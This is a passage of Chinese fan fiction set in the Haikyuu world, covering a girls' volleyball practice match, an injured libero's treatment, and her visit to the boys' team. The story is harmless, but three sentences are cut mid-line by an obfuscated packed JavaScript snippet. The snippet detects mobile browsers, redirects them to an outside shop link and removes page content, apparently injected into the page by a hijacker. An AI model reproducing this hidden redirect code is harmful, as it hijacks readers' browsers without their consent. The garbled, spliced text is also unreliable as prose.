教练双手抱胸，略加思索。 没什么经验的望月加代不敢吱声，她看向乌野的队伍，所有人都保持着急促呼吸的频率，凝望着远处的排球，等待宣布结果。 没有边裁或是裁判这类的中立角色，局点的关键分判断开始变得复杂起来。 所有人都有理由说是自己方得的分，在这种时候，就需要有声音来打破僵局。 “是乌野的分。”古川珍甩掉手上的汗渍，指着中尾葵说，“我看清了，是她的发球擦线。” 教练肯定地朝她颔首。 “哔——”南椿的裁判同学吹响了结束的哨音。 乌野：南椿，大比分1：0 赛间休息，中尾葵如释重负地躺倒在地，被有栖川和九里绘拖到了旁边的板凳上。 过了一会，道宫结向南椿的休息区走去，对古川珍说：“谢谢你刚才的出声。” 古川珍满不在乎地摆手：“我只是将事实给复述了出来，这是你们应得的，你没什么需要感谢我的。” “而且你看那边。”古川珍指过去，“我们的教练已经夸过我了，相比起胜负，她更喜欢这种友谊排第一，公平公正排零点五的方式。” “那什么是零啊？”道宫结眨巴两下眼。 古川珍：“…你是天然呆吗？” 话已至此，两方主将友好握手。 古川珍想起了另一件事，她朝着乌野休息区挥手：“喂，肉丝——” 雪菜萝丝额头顶着井字转身：“干嘛！？” “你进步了好多！比国中那个坐冷板凳还死板的雪菜萝丝强了不少！”古川珍忍不住笑出声，“下次有机会，让我试试看你的托球啊。” “你怎么敢先骂完我再夸我的啊，混蛋！”雪菜萝丝恼羞成怒，别过脸，“混蛋！大笨蛋啊啊！！” * 乌野这边商讨下来，打算让月见里代替井理直接上第二场。 月见里纱希知道自己没什么运动细胞，在队伍里排垫底，比不过一年级。 她没有什么强烈的上场愿望，只是喜欢排球，就放弃了学生会的职位，将自己从体育废一步步练起，能出现在替补席就已经很满足。 “不行。”倔强的九里绘插话，“仅仅是你一个人满足，满足不了我们所有人。” 中尾葵：“好、好霸道的说法……” 月见里纱希看见九里绘的眉头紧锁，就猜到她又开始努力构思措辞了。 “加油想啊。”她轻声鼓励。 “我的意思是……你是我的队友。”九里绘强调道，“‘我们的’队友，乌野的选手。” “即使不在场上，终有一天，团队也需要你的力量，月见里纱希。” 全场陷入了沉默的三秒。 海野辉英不可思议地戳了戳正在打瞌睡的井理的脸颊，雪菜萝丝流出了动感且感动的泪水。 “九九九九、九里——” “说好的独裁者呢，说好的人形自走不定时炸弹呢，原来是爆炸后开满鲜花的那种炸弹嘛！”海野呐喊。 尚且没想通她们在激动什么的九里绘任由她们吵闹，看了会在旁边教中尾葵摆pose的有栖川，将心里的话补完。 “因为大家都贯彻着坚持和努力在变强，并肩作战的我们才是一支队伍，而不是空有队伍的名头，就强迫别人做出贡献。” “这样的团队，我很喜欢，也不会反感。”九里绘弯下眼睛。 “可…可要是输掉了呢？”月见里纱希头一回如此读不懂空气地打断了温馨的氛围。 “那就被扳回一分。”道宫结说，“全县都知道我们不是强队，而且，我们一定有比别人更长的路需要走。” 道宫结编不出来了，硬着头皮讲完：“总之输掉的事，等输掉后再说吧，在这期间就什么都不要想。” 体育馆门口传来了一阵骚动。 熙熙攘攘的声音最先从南椿学生群中响起，人群四处散开后，一个披着乌野外套，挑染了粉蓝色头发的女生骤然出现在那里。 女生准备完毕，嗓音开始蓄力。 双手比心：“全世界最天才的发球员，佐佐木怜耶大人——堂堂登场！！” 一秒冷场。 佐佐木怜耶摘掉了最后一根耳钉放入背包，即使无人回应，也全然没有被打击到的模样。 中尾葵习惯性代入了一下，差点崩溃到现场刨土坑。 “谁？”有栖川的反应最为真实。 “嗯……那个。”望月加代匆忙翻出了记录册，向南椿解释，“她是我们的替补队员佐佐木怜耶，因为有事所以现在才到。 佐佐木怜耶跑到乌野休息区，脱下外套说：“服装ok，热身也ok，怜耶大人随时都可以上场！” “刚才你们聊到哪了？”她十分自来熟地问。 “‘别想着输掉以后的事情’，聊到这里。”九里绘淡定地回道。 “说得没错，我也是这样想的，不过比赛总是会有输掉的时候呢……”佐佐木怜耶抱起双臂若有所思。 “我认为，害怕比赛，且导致比赛输掉的那些人，可以滚出去永远别再上场了。”她脸上的笑意不减，此刻显得更加富有攻击性。 “怜耶！”雪菜萝丝低声吼她，“新人都不认识你，你先别用那种语气。” 九里绘瞄了一眼在旁边表情不太好的中尾葵。 脑海里浮现出中尾莲今早诉说的场面，现在连她都能理清真相了。 开学初，胆量极小的中尾葵被佐佐木怜耶吓得以为自己犯了错，刻意躲开好久不敢归队。 “那有什么嘛，毕竟不受欢迎和平等地嘲讽所有人，就是我在别人心目中的形象~”佐佐木怜耶继续任性。 井理世诚从打盹中苏醒过来，对她说：“少熬夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009844|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看点《蓝色〇狱》的漫画。” “！！”佐佐木怜耶顿时炸毛，“我才没有在模仿漫画，怜耶大人是恶役啊，是恶役知道嘛！” 距离第二局比赛开始没多少时间了，道宫结从背后伸出手，按在佐佐木怜耶的肩膀。 “咦！…哦，是结学姐啊，好久不见~” “怜耶。”道宫结露出一个神秘的微笑，“部活不来，黄金周躲门外，训练赛迟到，可谓罪状深厚。” 她用魔法打败魔法：“要是你今天失误了，就准备好退部申请书吧。” 闻言，佐佐木怜耶的嘴角颤抖：“退……” “退就退！”佐佐木怜耶的眼眶蓄起了泪花，假装没在害怕。 * 乌野的首发队伍出现变动，主攻手为月见里，副攻手由佐佐木替换中尾。 第一球交给了佐佐木——乌野唯一钦定的关键发球员。 佐佐木怜耶的左手轻轻托住底部，感受着球的重量与质感。 手掌准确地击打在球的下方，伴随着一声清脆的闷响，飞向空中。 ——球体没有发生旋转。 意识到这点的南椿自由人迅速从现在的位置往前挪。 半空中的排球飘晃不已，但在某一时刻突然失速下坠，直接触地。 跳飘球得分，南椿：乌野，0：1 “再来一球！”佐佐木怜耶自信满满地夸奖起自己，恶劣地朝对面吐舌头，“永远也别想接到~” “哎，果然还是老样子，平等地嘲讽所有人。”雪菜萝丝叹气。 第二次发球，自由人的手提前碰到球面，却脱离掌控飞了出去。 连续得分。0：2 佐佐木怜耶骄傲的心情快要像她的发球那样飘上天。 南椿的心态产生了一点微妙的变化，在古川珍的提醒下，她们沉下心，重振旗鼓。 第三球，古川珍喊着“我来！”抢先一步将球托向高空。 听到佐佐木毫不掩饰的咂嘴声，九里绘摆出防守姿势。 南椿的副攻与主攻同时开始跑动，全场的眼睛盯在二传身上。 往哪里传？左边？还是中间。 二传起跳，在空中快速挥臂。 直接扣球！ 没能料到这种情况，球轨迹的预估落点在乌野无人防守的区域。 裁判的手已经放在了南椿的计分板上。 看着球急速坠落，九里绘抬起右臂侧身猛扑。 距离不够，她就让身体在短暂的腾空中击球，紧接着重重地摔在地板，撑起上半身，咬紧牙关喊：“再……” 哦，没有再来。 翻滚起身，九里绘迅速接受了自己救球失败的事实，准备回到位置。 迈出一步，顷刻间，刺骨尖锐的疼痛从脚踝处袭来。 她一个踉跄将重心转移到另一只脚，身体不由得停滞，额头上渗出细密的汗珠。 在意识到问题后，九里绘想先走到休息区向望月老师申请下场，但已经来不及了。 疲惫如潮水般涌入，让她的意识产生了恍惚，仿佛周围的喧嚣都在此刻放大了。 今天是她的第一场比赛。 手感不错，状态越打越好，她的零经验没有给队伍拖后腿。 第一次真切地体会到，待在全员认真的队伍里是个多棒的事情。 排球砸在地上反复弹起的声音，球鞋摩擦地板的声音，女生们朝自己赶来的呼喊声此起彼伏，在耳边热烈上演着。 九里绘有些听不清她们在讲什么，浑浊的大脑无意识地推动着身体倒下，视线最后停留在那颗没有救到的排球。 失误了？没有关系，下次加油——她不由得联想到平时大家常挂在嘴边的鼓励。 …… 可是，不会有下一次了。 该死，好痛。 34.34章 34章——音驹训练赛限定款经理 “暂——” “暂停！！！”望月加代响亮的嗓音怔住了馆内所有人。 这位从性格到外表无一例外写满了安静与沉稳的助教老师，此刻神情充满了慌张。 兴许是她的声音将女排部成员们从拉回了现实，她们纷纷开始有了动作。 佐佐木怜耶微微颤抖着蹲在旁边，眼睛好似变成了两团棉花：“等、等等…怎么回事？怜耶大人可没有碰到你啊……你不要故意吓我。” 古川珍抬手示意了发球员暂停手中的动作。 “看样子是扭伤。”月见里纱希从旁边跑来，将九里绘的左臂放在自己的肩膀，雪菜萝丝立刻走到另一侧，搀着右臂扶她起来。 道宫结猛地转头看向南椿的教练席：“十分抱歉，请借用给我们贵校的医务室！” “可以，我让人领你们过去。”教练与指导老师异口同声道。 话音未落，道宫结找回了应对突发情况时的理智，向着南椿高中的位置重重地鞠躬。 “万分感谢。”她让自己的语气尽可能显得平稳，而后走到望月加代的身边，继续安排好余下的情况。 “比赛还没有结束，中尾、井理，你们上场，佐佐木你带九里跟着南椿的学生去医务室。” “我的体力很充足，还能接着打，结学姐你让别人去！”佐佐木怜耶将不满提出来。 “你的发球阶段结束了，现在立刻、给我扶着九里同学下去！”道宫结用更强硬的态度告知结论。 佐佐木怜耶整个上半身后仰，看样子深受打击。 “——走就走！”她咬着嘴唇，不甘心地回怼，“我才不听你的话扶她呢！！再见！” 说罢，她一个箭步冲上去和雪菜与月见里交接，用力又不失温柔地将九里绘打横抱起，依稀能看见她小臂外侧凸起的青筋。 抖着嘴唇，效率极快地退场撤离，全身上下只有一张嘴是硬的。 * 佐佐木怜耶一脚踢开了医务室的门，将值班的校医从午后的打盹中物理唤醒。 和体育馆里那副傲慢的态度极其不符，一离开人群的视线，私底下的佐佐木怜耶马上变得惊慌失措。 “不好了，九里学妹她要死掉了啊！快救救她！！”她喊得极其惊恐，把校医也吓得不行。 这时，缓过劲的九里绘慢吞吞抬起头：“那倒不至于……” 几分钟后。 平躺在医务室的白床上，校医了解完了大致情况，开始初步判断九里绘的受伤程度。 沿着右脚的脚踝轻按过去，再往四周扩展按压没有什么疼痛的感觉，确定了伤只局限在脚腕部分的范围内。 “没有明显的肿胀。”校医观察道，接着询问，“这样的疼可以忍受吗？” “可以。”九里绘立即回答。 “这里呢？” “可以。” “…那淤青这块呢？” 九里绘想了想，表情有些空白，还是说：“不疼。” “老师你不要相信她的鬼话！”佐佐木怜耶炸了，“她可是个自由人诶，老师你知道排球的自由人位置吗？” 手舞足蹈地凭空比划：“就是那种满地打滚又全场乱摔，练得浑身上下都是淤青，皮肤下边的血管全都炸掉，到了夏天连飒爽的短裙都穿不出去。” 佐佐木怜耶说着，情绪无比激动：“把户外十公里跑步当喝水吃饭一样的可怕存在，她说的‘不痛’你觉得可以相信吗？！” 九里绘被她一顿输出给说得有些懵：“可是…真的可以忍受。” 佐佐木怜耶痛心疾首。 “……”校医权衡了一下两边的话，说，“你们两个讲得都有道理吧。” “是崴脚扭伤。”结束了伤情判断，她对九里绘说，“待会我先给你两个冰袋敷一下，记住二十四小时内不要热敷，不要碰烫水。” “除了崴脚，还有别的伤口吗？”九里绘拽住南椿校医的袖子，追问道。 “你认为身体哪里还有不舒服？” 九里绘紧锁眉头，在短暂的沉默后松开了手：“……没有，抱歉。是我冲动了。” “没关系。”校医善解人意地拿了块毛巾递过去，“运动社团总是会伴随着大伤小伤，你们是外校的吧？” “这你都能发现？是潜伏中的卧底侦探！”佐佐木怜耶倒吸一口凉气。 校医愣住：“……因为你们的背号马甲上标着其他学校的罗马音。” “咳咳。”佐佐木假装在眺望窗外的风景，“天空真红…不对，墙壁好蓝啊。” “我不觉得身体的其他部位有类似的扭伤……严格来讲，都是些不去碰就不会有感觉的淤青而已。”九里绘说。 她看向自己因托球和撑地而变得通红的掌心，自言自语般：“但是，在脚崴的那一刻，我却感觉身体不受我的控制。” “毫无意识地向前倒了下去…有那么一瞬间，我以为自己完蛋了，是那种遍及了全身的严重伤。” “但是现在想来，没有那么严重不是么？”校医不紧不慢地开口。 她的语调温和：“我个人以为，你当时的情况是身体和精神上的双重表现。” “我不清楚你们平日里的训练强度，但就我现在已知的信息…运动社团每天重复着机械训练，让肌肉时刻处于紧绷和反复撕裂、恢复的状态。” “那么多个日夜的练习，到了一场比赛上可能就是几十分钟的展现。” “你们从自己的学校赶到南椿这里参加友谊赛，一定是抱着对比赛过程和结果的那份期待而来。” “当察觉自己失去了可以继续留在场上的身体……很不甘心吧。” 校医的安抚起到了200%的语言治疗效果，她将冰袋贴在九里绘受伤的脚踝，很快便听见身后传出的动静。 是佐佐木怜耶汪得一下哭出了声。 九里绘：“？？？” 校医：“……？” “佐佐木学姐。”九里绘的脸抽搐了一下，“你在哭什么？” “混蛋，我是在替你哭。”佐佐木怜耶抢过床头的毛巾，抹掉眼泪，“可恶的自由人，为了立住顽强正经的人设连哭都嫌丢脸，那就只能由怜耶大人代劳啦！” “……我没有觉得丢脸。”九里绘试图解释。 佐佐木怜耶：“哼哼，我早知道你这种人…等等，你说什么？” “想哭的时候，我会放任自己大哭特哭，但现在不同，我没什么特别的感觉。”九里绘将双手合十置于胸前，缓慢轻柔地摩擦在一起。 “我正在想一件事。”指尖抵在额头。 九里绘想起了校医口中的“身体和精神上的双重表现”，精神上暂且不提，而身体方面，她在脑海中多次推演和回忆了受伤前的最后一个动作。 侧扑展臂击球，落地后立马接一个翻滚，爬起，观察队友站位并调整位置。 很简单的一个动作，她每天都会重复练习，何况在这个动作中最先着地的是右臂和肩膀，可以说与脚踝毫不相干。 腿部的肌肉也一直都处于紧绷的状态。 韧带的力量和关节的稳定都是她引以为傲的东西，所以最有可能的真相其实是…… “我的身体她累了。”九里绘平淡地复盘，像是一台无情的机器，用最冷静的话语倾泻自己的情绪。 没有汹涌的懊恼，没有澎湃的不甘。 “抱歉。”她对自己说，“以后，我会像对待训练和手部护理那样，专心地照看好你。” 九里绘绑着两个冰袋一瘸一拐地慢慢踩在地面。 佐佐木怜耶见状实在气不过，熟练地放起狠话：“你这个伤员竟然敢在我的面前一个人迎接难关，这种宣扬不出我性格恶劣的小伎俩只会丢我的脸。” “哼，我是不会让你得逞的！！” 随后又是将她一个打横抱起，佐佐木怜耶气都有些喘不过来了还在拼命说：“小菜一碟！哈、哈哈！” 九里绘不理解她为什么要在明显是助人为乐的事情上把自己折腾得够呛，但选择尊重。 人类的性格真是缤纷多彩啊。 临走前，校医嘱咐道：“恢复期在一周左右，也许你明天就能自己走了，但还是要注意减少练习。” “好好吃饭，好好睡觉，充分休息。” “我明白了。”九里绘鞠躬致谢，“那…具体要减少到多少练习量？” “诶？这个嘛，让我想想。”校医心想幸亏她接触的排球体育生比较多，由衷地认为这是一个和其它球类运动相比，更容易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027299|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被砸出脑震荡的项目。 “最好不要用腿了，可以坐着练垫球…大概十组就差不多了吧。” “好的，我明白了。”九里绘点头。 佐佐木怜耶表情不屑地盯着她看了一会，似乎意识到了什么，脱口而出：“是一天最多练十组，不是一次练十组的意思！” 九里绘恍然大悟：“原来如此。” 校医：“……” 好可怕的热血体育系。 * 等佐佐木怜耶用公主抱着九里绘回到体育馆时，训练赛已经进行到了第三局。 第二局由南椿扳回大比分，目前第三局已经进行到了末尾。 乌野：南椿，19：23 几分钟后，裁判吹响了代表比赛结束的哨音。 21：25，南椿获胜，同时赢得训练赛的最终胜利。 双方握手，队员们鞠躬的同时，九里绘在观众席上闭起眼，一起低头示意。 校车缓缓驶来，一路上，众人排排坐，靠着椅背一言不发。 或许是大家都疲惫不已，九里绘也没有发话，只有望月加代向她确认了当前伤势和后续的修养计划。 车内偷偷竖起的十几只耳朵借此机会精准捕捉到了“只是崴脚”和“一周就能好”等等的关键词。 她们也放下心来，挨着九里绘坐的中尾葵小声说：“小绘，好好休息，不要偷偷训练。” “我们会管着你的…！”中尾葵努力憋狠话，但毫无威慑力。 “嗯，我知道。”九里绘翻开手机，查阅起资料，“在不能运动的这段时间里，只能让大脑再次动起来了。” “我打算下载些比赛来看，初定目录大概是这些……” “看去年春高那场，我记得有一场巨精彩！”有栖川的热情尖叫打破了车内沉闷的气氛。 “硬要说的话，比赛果然还得看世界级的啊，去看华国女排的录像，那可是我的超级偶像！”雪菜萝丝说。 “你们这群没品味的家伙！！” 佐佐木怜耶开始拉仇恨，气鼓鼓地表示：“比赛就该看现场的，只有亲自体验一番，才是最刻骨铭心的东西！” 佐佐木怜耶：“用我这双肉长的眼睛，和天才般的大脑，去看清楚选手们在现场的判断和反应，才是真正的良师益友！” 井理世诚犀利开口：“自由人的技术，靠个人磨练和复盘的占比最多。” “…良师…益友。”九里绘默默地将新的四字熟语记在备忘录，反复诵读。 “小绘已经无聊到学起国文了啊！天塌啦！” …… 到了合宿地，中尾莲已经在门口恭候多时。 他满嘴的吐槽在看到九里绘的步伐时僵住，随后装作无事发生，赶所有人去冲澡吃晚饭。 见到佐佐木怜耶时，两人像是磁铁的同极一般，相看不顺眼，在大眼瞪小眼中同频转身离开。 “对了，望月老师。”中尾莲说，“刚才男排部的武田老师找你问借用校车的事。” “那我给他回个电话……” “不用，他说男排和女排的合宿地离得很近，一个拐弯就到了，他正在奔跑过来的路上。” 望月加代：“…诶？” 五分钟后。 将空房间临时当作会议室，望月加代略显拘谨地鞠躬：“麻烦您亲自跑一趟……” “不不不，是我麻烦您。”武田一铁也加深了鞠躬的角度。 两人对着鞠躬外加寒暄了长达一分钟没有停，最后因望月加代的体力不支宣告结束。 “本学期的申请表换了新的样式，在联系校车时可以用上这张。”望月加代将用剩的空白表格递过去。 武田一铁郑重地表示了感谢，转身将要离开时，望月加代再次出声将他喊住。 “武田老师，听说男排部在黄金周最后一天有场训练赛。” “是的。” 望月加代想起车上的聊天，她觉得自己总应该做些什么。 那种遇到学生受伤倒地时的无措感，她不想再体验第二回了。 要主动负起责任，为学生们保驾护航，为那群洋溢着青春的少年们去争夺更多的机会。 “请问我们队里的一个孩子，方便搭车去观摩你们的训练赛吗？” 35.35章 35章——这就是乌野的实力plus！ 之所以没有提出让女排都去观摩训练赛，是出于对礼节的顾虑。 想象一下，和远道而来参加训练赛的队伍说：我们有人要来观赛哦，对方很大度，痛快地答应下来，结果没成想浩浩荡荡来了一整支队伍。 竞技体育默认的规则是只有比赛才能录像，而对于有的学校而言，被外校直接看到他们操练下的成果，可能是一件比较反感的事。 但仅仅是去一个人的话，就会方便许多。 而且这个人选，恰好是各种因素的权衡下最适合去的——能够快速学习和借鉴到她所渴求的防守能力。 听望月加代讲完了心中的想法，武田一铁进入思索。 “我会尽可能想办法的，请等我的消息。”他说。 “谢谢您，武田老师。” 武田一铁不好意思地摇手：“不用对我喊敬称…我记得，我和望月老师是同一年来乌野的吧。” 望月加代：“武田老师记得…？”居然没有忽略掉她吗？ “发生了一系列的事情后，我总是希望自己能给学生们帮上一些忙，望月老师的这份心情，我非常明白。”武田一铁点头，“所以，我会拼尽全力的。” 两天后，同时也是黄金周合宿的最后一天。 收拾完挎包，九里绘带着她的新造型出现在了男排部住所的门口。 * 清晨，住所的一楼空无一人。 是九里绘来得太早了，她放慢速度在一楼兜兜转转参观，顺便借走路的机会感受脚腕的恢复情况。 其实受伤的当天夜晚就能恢复正常行走，只是难免要将疼痛吞进肚子里，两脚的平衡不一致。 到了第二天清早，晨训开始前，道宫结不知从哪里购入到新的护踝送给她。 并嘱咐道：“明天要认真看比赛，我们等你回来的好消息。” 九里绘吸了吸鼻子，有点无法控制自己的表情，回道：“好。” 然后，就到了今天。 九里绘拿起空杯在饮水池旁等着接水。 耳边隐约能听见屋外传来的响动，应该是男排的队伍慢跑回来了。 她想起这次跟队的身份是临时经理……也就是要帮忙干点活的意思吧。 那么，先去找美丽帅气的清水学姐会和。 行动刚刚开始，她就撞见了某种意义上的阻碍。 挡在面前的是，是两堵平均身高绝对有180+的墙。 “山口同学，月岛同学。”九里绘辨认出来人，挥手打招呼。 “早上好。”山口忠说着才想起来反问，“九里同学怎么会出现在这里？” 月岛萤：“午好。” “我要去蹭你们的训练赛…当观众，所以就先来了。午饭吃了吗？”九里绘问。 山口忠：“还没。” “那我先去找清水学姐帮她的忙，待会见！” “再见！” 目送着九里绘的背影消失在拐角，山口忠才想起放下手臂。 与此同时，他敏锐地察觉到月岛萤一副几欲先走的动作，在九里绘离开时荡然无存。 思索片刻，山口忠对心中猜测把握不准，开口：“九里同学相处起来意外得开朗，第一次见到的时候，怎么也没想到是这种性格……” “山口，话题引导得太刻意了。”月岛萤无情指出。 “诶！真的吗？” 戳穿了发小的心思后，月岛萤走到水池边，又听见山口忠跟在后面说：“都怪阿月的反应太古怪了！” “能和同时期认识的排球部成员正常相处，为什么一碰到九里同学，阿月就只想着回头避开呢？” 月岛萤一时语塞，勾起了不好的回忆：“以你的智商，是没办法听懂的。” 山口忠懵了：“真的很难理解吗？” “字面意思。”月岛萤扯了下嘴角，“‘以我们正常人的智商’，是无法理解笨蛋的思路的。” 山口忠摸摸下巴，若有所思。 月岛萤：“……” 想了一会，决定运用类比：“她就像一个‘小不点’外加两个‘王者’搅拌出来的混合体。” 山口忠恍然大悟。 但是这种形容未免也太夸张了吧！ * 先后见到了满足她爱好的帅哥和心心念念的清水学姐，九里绘的心情有点飘飘然。 差点就要违抗伤期静养手册主动要求拎重物，得亏心思细腻的清水洁子提前问出了九里绘来之前的经历。 “既然是伤员，就不可以乱来了。” 九里绘坚持：“简单的得分记录和日志应该没问题……” “好。”清水洁子也没再推脱，“但是切忌不要跟着我乱跑，你留在原地。” “洁子学姐——”未见其人先有其声，田中龙之介正向着这里跑来。 后面的几人见状纷纷停下步伐，不约而同地笑出声，等着看田中今日份的拒绝名场面。 然而正所谓异军突起，半路上，一道更加醒目的身影稍晚一些起步，却以超高速的冲刺越过了田中，抢先一步出现在了清水洁子——和九里绘的面前。 “洁子学姐，今天辛苦了！！”西谷夕很有气势地鞠躬。 而后立刻直起身，郑重其事地看向旁边的人。 “里绘！今天也是异常的帅气！！” 背景板上，是田中飞扑失败趴倒在地的画面，清水洁子头也不回地离开。 反观另一边的西谷夕得到了来自九里绘的亲切回应：“嗯，今天的西谷和平时一样帅气。” 西谷夕的脸上出现了几条粉色斜杠线，猛地攥紧胸口的衣服：“…我的人生有点过于美好了！！” 围观的众人：“……” 田中龙之介支棱起来：“不是，凭什么！？” 对比感十分强烈。 菅原孝支挤出了鳄鱼的眼泪：“田中还有西谷，他们两人之间终于有人打破了长久以来的平衡，有了被女生接纳的先例。” “接下去，应该就是基于胜负心开始的不断争斗吧。哟西，从0胜0负开始计算！”菅原孝支欢快地宣布。 东峰旭默默开口：“那不就是日向和影山的相处模式……” 泽村大地：“菅原…你不要装没听见蒙混过关。” * “里绘换新发型了！” “注意到了吗？” “很难不注意吧！”西谷夕指着自己的耳后和额头，“头发剪短了不少，前面的刘海也挑染了蓝色！” 九里绘捏了捏发梢：“是你给我的灵感，让我觉得把前面的一部分头发染成别的颜色，还挺酷的。” 西谷夕有些手足无措地摸向后脑勺：“我的发色从小就长成这样……” “居然不是染的？是天生的？”九里绘竖起大拇指，“厉害，你好会生。” 这么夸人好像有点不对，应该着重强调下“天生”这一点。 九里绘接着竖大拇指：“你真是会出生啊。” 好像更加不对了，有语病。 “没关系的里绘，不用纠正了。”西谷夕抢先一步说道，“你的想法即便不说出口，我也一定能、永远会用尽一切办法去弄懂它的！” 九里绘对此深信不疑，真诚地鼓起掌来：“西谷好强。” 就在这时，冲完澡的日向翔阳抱着饭盆火速出现。 “九里桑！” “翔阳！” “九里桑——”日向翔阳一蹦一跳。 “翔阳——”九里绘没蹦没跳。 穿插进来影山飞雄的怒喊：“不要在吃饭的时候乱动啊你这个呆子！” 日向翔阳老实地坐回位置：“九里桑要来看我们的比赛吗？万岁！” 不甘示弱的西谷夕给自己寻找存在感，站起身拼命夹菜：“里绘你吃这个！！” …… 眼见着不管什么话题都超级捧场的九里绘和一群人聊得火热，隔壁教师桌的乌养系心露出了极其复杂的表情，欲言又止。 武田一铁：“有什么问题吗？” “啊，没什么。”乌养系心说，“只是没想到女生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044668|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和这些家伙们那么熟啊。” 而且貌似还有点眼熟。 武田：“负责女排部的望月老师和我提起过，说她发现学生们都相互认识。” “出于乌养老教练前几年的习惯，他会同时操心两支队伍的训练，尤其是现在的二三年级，偶尔还会带头串门。” 乌养：“串什么门？” 武田一铁咳嗽两声：“似乎是抢夺晾衣架和洗衣液之类的。” “？” 作为新来的教练，乌养系心还做不到了解每个成员的特征。 虽然暂时没有决定是否要留下来任教，但出于责任感，他直白又不失委婉地提出：“以后，还是要留意一下选手的个人生活。” “？”武田一铁用沉默表达了他的疑惑。 “就是那种青春期躁动不安…再加上现在是个连空气都散发着春天气息的好季节啊。”乌养系心扬了扬下巴，精准跳转话题。 “要是被甩了后一蹶不振，影响到比赛状态怎么办？” 武田一铁简单脑补了一番，表情从似懂非懂顷刻间转变成了惊恐万状。 抓住残存的理智，武田一铁迅速回头观察了五秒，再扭头回来，神秘莫测地扶了一把正在反光的眼镜。 “请不用担心，乌养教练。”武田一铁突然冷静，“被甩的前提，是能够抵达交往的阶段。” “而我对他们之中的任何一个人，都很有信心。” 乌养系心：“……” 一脸正直地说出不得了的话啊！ * 午休过后便是下午的训练赛。 乘上前往体育馆的大巴，九里绘坐在前排幸福地和清水贴贴。 顺便最后确认一遍一会儿要做的手头工作。 “近几天，我们部有一些传言。”清水洁子轻声说，“我提醒他们注意分寸，要是后续影响到了你，我会拉他们过来道歉。” “和我有关的传言？”九里绘困惑地指向自己，摆摆手，“我不介意的…但清水学姐要是真的想说！我会仔细听。” 清水洁子眨了下眼：“那么等你想要知道了，就来问我，这件事暂时就是属于我们之间的秘密了。” 九里绘dokidoki：“！！！” 好耶！ …… 抵达目的地，为了不因步伐缓慢而给后排的人添堵，九里绘主动留到最后下车。 等她目送走了大巴司机，发现方才还在列队，靠干瞪眼和东京来的学校进行交流的众人，已经各自吵成了一团。 “里绘——”西谷夕意外得没有加入混战，而是站在旁边等她，“我来帮你拿包吧！” 他穿着一身清爽的白衬衣，和披外套的队员们比起来格外显眼。 九里绘的理念是黑色系至上，黑色系赛高，来乌野的一半原因就是为了全套黑色制服。 “谢谢，麻烦你了。”她没有拒绝。 双眼专注地盯着那片白色上，没有被周围的黑色转移注意力。 忽然间，九里绘感受到了什么，她朝着音驹高校的红色制服里看去，和其中一人对上视线。 单看发型来取代称的话……是田中前辈+香蕉的近亲组合？ “两个！？” 不远处，山本猛虎举起手指，声线颤抖：“是、是…” 田中龙之介挡在跟前，维持他的恶人颜：“哈！？什么‘是’？” 山本猛虎尖叫：“石原里美酱！” 左看右看，九里绘没发现附近有自己和清水洁子以外的女生，不解地歪头。 闻讯而来的黑尾铁朗边走过来边笑个不停：“你在说什么啊，都产生幻觉了…等等，立体的石原里美酱？！” 九里绘更诧异了。 “乌野有石原里美啊！！！”嫉妒到崩溃的山本猛虎呐喊。 “喂，别喊错名字了！”西谷夕一人背起两个包，此刻挺胸抬头，浑身散发着圣光。 “这可是我们家…我们乌野既帅气又漂亮、迷倒了万千少男的九里绘啊！” 山本猛虎：“啊啊啊啊啊啊！！” 36.36章 36章——体育笨蛋就是容易被拐跑啊！ 从小到大，九里绘对自己的长相一直都有个大概的了解。 正逢国民女神的人气火爆，她在上小学期间，被妈妈拉着出去遛弯时最常听见的两句话就是： “小绘酱好可爱啊，真是个漂亮的女孩子。” “有点像电视上的那位女明星诶。” 幼时与爸爸提起这件事的时候，他给出了一个非常飒爽的答案：“因为他们已经臣服于绘的魅力了！” 当时的九里绘撇嘴：“爸爸在敷衍我……” “不要说些打破孩子幻想的事情，看我的。”九里澄子说着，给出了其它答案，“因为他们不认识绘。” “所以才会用这种万能的表达来描述绘在他们心中的魅力。” “真是肤浅的大人们。”九里绘眯成死鱼眼。 爸爸匆忙吐槽：“这不是直接撕破幻想，进入到现实话题了嘛！” 妈妈果断忽略掉了爸爸的捧哏，继续说：“但是啊，在接触之前，人和人之间就是相互不认识的，也没必要埋怨。” “只要有一个人始终能理解绘的魅力就足够了。” “唯一的一个人…是谁？” 九里澄子用食指点向她的胸口，然后在指尖变出一颗纸折的星星，又像变魔术那样抓出了一大把： “是世界上最好的绘——自己呀。” * 长得好看的人怎么可能会不清楚“自己在别人眼里的评价是好看”这件事。 